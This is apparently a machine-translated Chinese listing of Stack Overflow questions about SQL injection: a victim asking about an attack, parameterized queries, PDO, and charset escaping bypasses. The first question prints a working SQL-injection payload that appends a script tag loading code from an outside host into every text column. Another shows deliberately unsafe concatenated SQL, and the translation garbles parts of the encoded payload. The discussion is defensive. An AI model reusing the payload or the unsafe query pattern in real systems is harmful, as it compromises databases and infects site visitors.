标签: sql-injection

有人能向我解释这个SQL注入攻击吗?

我想在这里发帖,因为它与编码有很大关系,本周我必须在我公司的旧ASP(经典)网站上清理.

我们受到了几天前运行的SQL注入攻击的打击,但是我正在摸不着对于SQL服务器(通过这些SQL查询)的"损坏".

说实话,我认为这是非常巧妙的,并且我的公司因为拥有一个几乎没有消毒输入的旧的10年历史的网站而错.

攻击:

122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%+ AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-

它解释为:( 我想要了解的)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)

我们已经恢复了备份(预注入)并浏览了整个应用程序并清理了所有输入语句.我们的服务器是防火墙的,所以没有直接的SQL访问,但我想知道还剩下什么,我不得不承认SQL查询是我的头脑.

有人可以解决它并为我解释攻击SQL吗?

APOLOGIES我更新了完整的DUMP和SQL

sql xss sql-injection asp-classic

46
推荐指数
2
解决办法
3897
查看次数

渗透测试工具

我们有数百个以asp,.net和java开发的网站,我们为外部机构支付了大量资金,对我们的网站进行渗透测试,以检查安全漏洞.有没有(好的)软件(付费或免费)这样做?

或..是否有任何技术文章可以帮助我开发这个工具?

sql security sql-injection

45
推荐指数
1
解决办法
1万
查看次数

如何将用户提供的输入添加到SQL语句中?

我试图使用用户提供的数据创建一个SQL语句.我在C#中使用与此类似的代码:

var sql = "INSERT INTO myTable (myField1, myField2) " +
          "VALUES ('" + someVariable + "', '" + someTextBox.Text + "');";

var cmd = new SqlCommand(sql, myDbConnection);
cmd.ExecuteNonQuery();
Run Code Online (Sandbox Code Playgroud)

这在VB.NET中:

Dim sql = "INSERT INTO myTable (myField1, myField2) " &
          "VALUES ('" & someVariable & "', '" & someTextBox.Text & "');"

Dim cmd As New SqlCommand(sql, myDbConnection)
cmd.ExecuteNonQuery()
Run Code Online (Sandbox Code Playgroud)

然而,

  • 当用户输入包含单引号(例如O'Brien)时,这会失败,
  • 插入DateTime值时,我似乎无法正确获取格式
  • 人们一直告诉我,由于"SQL注入",我不应该这样做.

我怎么做"正确的方式"?

c# sql vb.net ado.net sql-injection

44
推荐指数
1
解决办法
5439
查看次数

PDO准备的陈述有多安全

不久前开始使用PDO准备好的语句,据我所知,它可以为您完成所有的转义/安全性.

例如,假设$ _POST ['title']是一个表单字段.

$title = $_POST['title'];
$query = "insert into blog(userID, title) values (?, ?)"
$st = $sql->prepare($query);
$st->bindParam(1, $_SESSION['user']['userID'], PDO::PARAM_INT);
$st->bindParam(2, $title);
$st->execute();
Run Code Online (Sandbox Code Playgroud)

这真的很安全吗?我还要做别的吗?还有什么需要考虑的?

谢谢.

php mysql security pdo sql-injection

42
推荐指数
2
解决办法
2万
查看次数

在JPA中是否可以进行SQL注入攻击?

我正在使用Java EE 6和JSF-2.0构建Java Web应用程序,使用持久性API进行所有数据库操作.

后端是MySQL,但是我在EJB-QL中使用了EntityManager函数和命名查询来进行所有操作.在这种情况下,SQL注入攻击是否可行?

orm jpa sql-injection jpql

40
推荐指数
3
解决办法
3万
查看次数

使用参数化的SqlCommand是否使我的程序免受SQL注入?

我知道SQL注入相当危险.现在在我的C#代码中,我用SqlCommand构成参数化查询:

SqlCommand command = ...;
command.CommandText = "SELECT * FROM Jobs WHERE JobId = @JobId;";
command.Parameters.Add("@JobId", SqlDbType.UniqueIdentifier ).Value = actualGuid;
command.ExecuteNonQuery();
Run Code Online (Sandbox Code Playgroud)

这会自动使我的代码免受SQL注入吗?我需要做些额外的事吗?

.net c# sql security sql-injection

39
推荐指数
3
解决办法
1万
查看次数

什么是函数mysql_real_escape_string的PDO等价物?

我使用修改我的代码mysql_*PDO.在我的代码中我有mysql_real_escape_string().在PDO中,这相当于什么?

php mysql pdo sql-injection

39
推荐指数
3
解决办法
8万
查看次数

mysql_real_escape_string()是否完全防止SQL注入?

http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/?akst_action=share-this上,有一节声称可以绕过某些亚洲字符编码的mysql_real_escape_string

用BIG5或GBK绕过mysql_real_escape_string()

"注入字符串"
に关する追加情报:

上面的字符是中文Big5

这是真的吗?如果是这样,如果您无法访问预先准备好的声明,您将如何保护您的网站不受此影响?

php mysql sql-injection

38
推荐指数
2
解决办法
1万
查看次数

什么是防止SQL注入的好方法?

我必须为我的OJT公司编写应用程序管理系统.前端将在C#中完成,后端在SQL中完成.

现在我从未做过这个范围的项目; 在学校我们只有关于SQL的基础课.不知怎的,我们的老师完全没有讨论SQL注入,我现在才通过在网上阅读它来接触它.

所以无论如何我的问题是:你如何防止C#中的SQL注入?我隐约认为可以通过正确屏蔽应用程序的文本字段来完成它,以便它只接受指定格式的输入.例如:电子邮件文本框的格式应为"example@examplecompany.tld".这种方法是否足够?或者.NET是否有预定义的方法来处理这样的东西?我可以将过滤器应用于文本框,因此它只接受电子邮件地址格式或名称文本框,因此它不接受特殊字符吗?

c# sql security sql-injection

38
推荐指数
4
解决办法
8万
查看次数

如何使用Shift-JIS和CP932创建SQL注入攻击?

我正在编写一些单元测试,以确保我的代码在各种字符集下不易受SQL注入攻击.

根据这个答案,你可以通过注入创建一个漏洞\xbf\x27使用下列字符集之一:big5,cp932,gb2312,gbksjis

这是因为如果未正确配置您的escaper,它将会看到0x27并尝试将其转义为它\xbf\x5c\x27.但是,\xbf\x5c实际上这些字符集中只有一个字符,因此quote(0x27)未被转义.

然而,正如我通过测试发现的那样,这并非完全正确.它的工作原理为big5,gb2312gbk但也0xbf27还是0xbf5c在有效的字符sjiscp932.

mb_strpos("abc\xbf\x27def","'",0,'sjis')
Run Code Online (Sandbox Code Playgroud)

mb_strpos("abc\xbf\x27def","'",0,'cp932')
Run Code Online (Sandbox Code Playgroud)

返回4.即,PHP不会将其\xbf\x27视为单个字符.这将返回falsebig5,gb2312gbk.

这个:

mb_strlen("\xbf\x5c",'sjis')
Run Code Online (Sandbox Code Playgroud)

返回2(返回1gbk).

所以,问题是:是否有另一个字符序列,使sjiscp932容易受到SQL注入,或者是他们居然容易呢?或者是PHP撒谎,我完全错了,MySQL会完全不同地解释这个吗?

php mysql security encoding sql-injection

36
推荐指数
1
解决办法
2008
查看次数

标签 统计

sql-injection ×10

security ×5

sql ×5

mysql ×4

php ×4

c# ×3

pdo ×2

.net ×1

ado.net ×1

asp-classic ×1

encoding ×1

jpa ×1

jpql ×1

orm ×1

vb.net ×1

xss ×1